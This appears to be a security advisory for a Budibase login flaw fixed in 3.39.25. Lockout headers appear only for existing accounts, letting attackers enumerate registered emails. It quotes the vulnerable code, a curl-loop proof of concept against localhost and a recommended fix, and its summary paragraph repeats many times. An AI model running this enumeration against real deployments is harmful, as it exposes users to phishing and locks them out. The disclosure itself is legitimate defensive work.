Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/middleware/emailLockout.ts returned X-Account-Locked and Retry-After only for locked identifiers. An unauthenticated attacker could compare the response after repeated failures to enumerate valid email addresses and temporarily lock valid accounts. This issue is fixed in version 3.39.25.
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/middleware/emailLockout.ts returned X-Account-Locked and Retry-After only for locked identifiers. An unauthenticated attacker could compare the response after repeated failures to enumerate valid email addresses and temporarily lock valid accounts. This issue is fixed in version 3.39.25.
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/middleware/emailLockout.ts returned X-Account-Locked and Retry-After only for locked identifiers. An unauthenticated attacker could compare the response after repeated failures to enumerate valid email addresses and temporarily lock valid accounts. This issue is fixed in version 3.39.25.
## Summary
The login lockout mechanism in Budibase creates an observable response discrepancy that allows unauthenticated attackers to enumerate valid email addresses. When an existing user's account is locked after 5 failed login attempts, the server returns a distinct `403` response with `X-Account-Locked: 1` and `Retry-After: 900` headers plus the message "Account temporarily locked." For non-existing users, the response is always a generic `403 "Unauthorized"` regardless of attempt count, because the lockout counter is never incremented.
## Details
The vulnerability exists in two files that implement the login lockout feature:
**`packages/worker/src/middleware/lockout.ts:18-36`** — The lockout middleware only blocks requests for users that exist in the database AND are locked:
```typescript
export default async (ctx: Ctx, next: Next) => {
const email = ctx.request.body.username
if (!email) {
return await next()
}
const dbUser = await userSdk.db.getUserByEmail(email)
if (dbUser && (await isLocked(email))) { // line 26: non-existing users skip this entirely
ctx.set("X-Account-Locked", "1")
ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
ctx.throw(403, "Account temporarily locked. Try again later.")
}
return await next()
}
```
**`packages/worker/src/api/controllers/global/auth.ts:127-141`** — The login handler only increments the failure counter for existing users:
```typescript
if (err || !user) {
if (dbUser) { // line 129: non-existing users never trigger onFailed()
await onFailed(email)
}
if (await isLocked(email)) {
return handleLockoutResponse(ctx, email)
}
// ...
return passportCallback(ctx, user as any, err, info)
}
```
**Execution flow for existing users (after 5 failed attempts):**
1. `lockout` middleware → `getUserByEmail` returns user → `isLocked` returns true → 403 + `X-Account-Locked: 1` + `Retry-After: 900` + "Account temporarily locked"
**Execution flow for non-existing users (any number of attempts):**
1. `lockout` middleware → `getUserByEmail` returns null → `dbUser && isLocked` is false → passes through
2. Login handler → passport fails → `if (dbUser)` is false → `onFailed()` never called → lock never set
3. Always returns 403 "Unauthorized"
No IP-based rate limiting exists on the login endpoint (`POST /api/global/auth/:tenantId/login`). The route is registered via `loggedInRoutes` which applies no authentication middleware. The password reset endpoint has proper IP-based rate limiting, but the login endpoint does not.
## PoC
```bash
# Test against a known-existing email and a non-existing email
# Replace 'default' with the target tenant ID
# Step 1: Send 6 login attempts for an existing user
echo "=== Testing existing user ==="
for i in $(seq 1 6); do
echo "--- Attempt $i ---"
curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
| grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
echo ""
done
# Expected: Attempts 1-5 return "Unauthorized"
# Attempt 6 returns: "Account temporarily locked" + X-Account-Locked: 1 + Retry-After: 900
# Step 2: Send 6 login attempts for a non-existing user
echo "=== Testing non-existing user ==="
for i in $(seq 1 6); do
echo "--- Attempt $i ---"
curl -s -D - -X POST http://localhost:10000/api/global/auth/default/login \
-H 'Content-Type: application/json' \
-d '{"username":"[email protected]","password":"wrongpassword"}' 2>&1 \
| grep -E 'HTTP/|X-Account-Locked|Retry-After|locked|Unauthorized'
echo ""
done
# Expected: All 6 attempts return "Unauthorized" — no lockout ever triggers
# The difference in behavior after 5 attempts confirms whether the email exists.
```
## Impact
- **Account enumeration**: An unauthenticated attacker can determine whether any email address is registered on a Budibase tenant by sending 5-6 login requests and observing whether the response changes to "Account temporarily locked" with the `X-Account-Locked` header.
- **No rate limiting**: The login endpoint has no IP-based rate limiting, allowing an attacker to enumerate emails at high speed from a single IP address (~5 requests per email).
- **Denial of service side-effect**: Each enumerated existing email is locked out for 15 minutes (900 seconds), preventing legitimate users from logging in during that window.
- **Enables further attacks**: Confirmed valid emails can be used for targeted phishing, credential stuffing against other services, or social engineering.
## Recommended Fix
The lockout behavior should be identical regardless of whether the user exists. Apply lockout tracking based on the email string itself, not conditioned on database user existence:
**`packages/worker/src/middleware/lockout.ts`** — Remove the `dbUser` check:
```typescript
export default async (ctx: Ctx, next: Next) => {
const email = ctx.request.body.username
if (!email) {
return await next()
}
// Check lock status based on email alone, not user existence
if (await isLocked(email)) {
ctx.set("X-Account-Locked", "1")
ctx.set("Retry-After", String(env.LOGIN_LOCKOUT_SECONDS))
ctx.throw(403, "Account temporarily locked. Try again later.")
}
return await next()
}
```
**`packages/worker/src/api/controllers/global/auth.ts`** — Remove the `dbUser` guard around `onFailed`:
```typescript
if (err || !user) {
// Always increment failure counter regardless of user existence
await onFailed(email)
if (await isLocked(email)) {
return handleLockoutResponse(ctx, email)
}
// ...
}
```
Additionally, consider adding IP-based rate limiting to the login endpoint (similar to what already exists on the password reset endpoint) to limit enumeration throughput.
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Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…
Budibase is an open-source low-code platform. Prior to 3.39.25, POST /api/global/auth/:tenantId/login incremented the failure counter in packages/worker/src/api/controllers/global/auth.ts only for existing users, while packages/worker/src/m…